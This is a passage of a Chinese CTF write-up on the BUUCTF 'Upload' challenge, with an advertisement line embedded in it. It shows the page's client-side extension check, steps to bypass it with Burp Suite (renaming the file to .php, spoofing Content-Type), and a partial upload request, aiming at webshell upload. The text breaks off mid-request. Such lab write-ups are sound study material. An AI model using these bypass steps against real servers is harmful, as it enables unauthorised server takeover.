1. 文件上传漏洞实战解析
最近在BUUCTF平台刷题时遇到一道名为"[极客大挑战 2019]Upload"的题目,这道CTF题典型地考察了Web安全中文件上传漏洞的攻防技巧。作为渗透测试中最高频的漏洞类型之一,文件上传功能如果防护不当,攻击者可以直接上传webshell获取服务器权限。下面我将完整还原解题过程,并深入分析其中涉及的安全机制。
提示:本文所有操作均在合法授权的靶机环境进行,严禁对未授权系统进行测试
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 题目环境探测
2.1 基础信息收集
访问题目提供的URL后,呈现的是一个简单的文件上传界面。首先使用浏览器开发者工具查看页面源码,发现前端有JavaScript验证逻辑:
javascript复制function checkFile() {
var file = document.getElementById("file").value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
// 验证文件扩展名
var allow_ext = ".jpg|.png|.gif";
var ext_name = file.substring(file.lastIndexOf("."));
if (allow_ext.indexOf(ext_name) == -1) {
alert("仅允许上传jpg/png/gif格式文件!");
return false;
}
}
2.2 绕过前端验证
虽然前端限制了只能上传图片格式,但这类客户端验证很容易绕过:
- 使用Burp Suite拦截上传请求
- 修改文件名后缀为.php
- 删除或修改Content-Type头为image/jpeg
http复制POST /upload.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition:
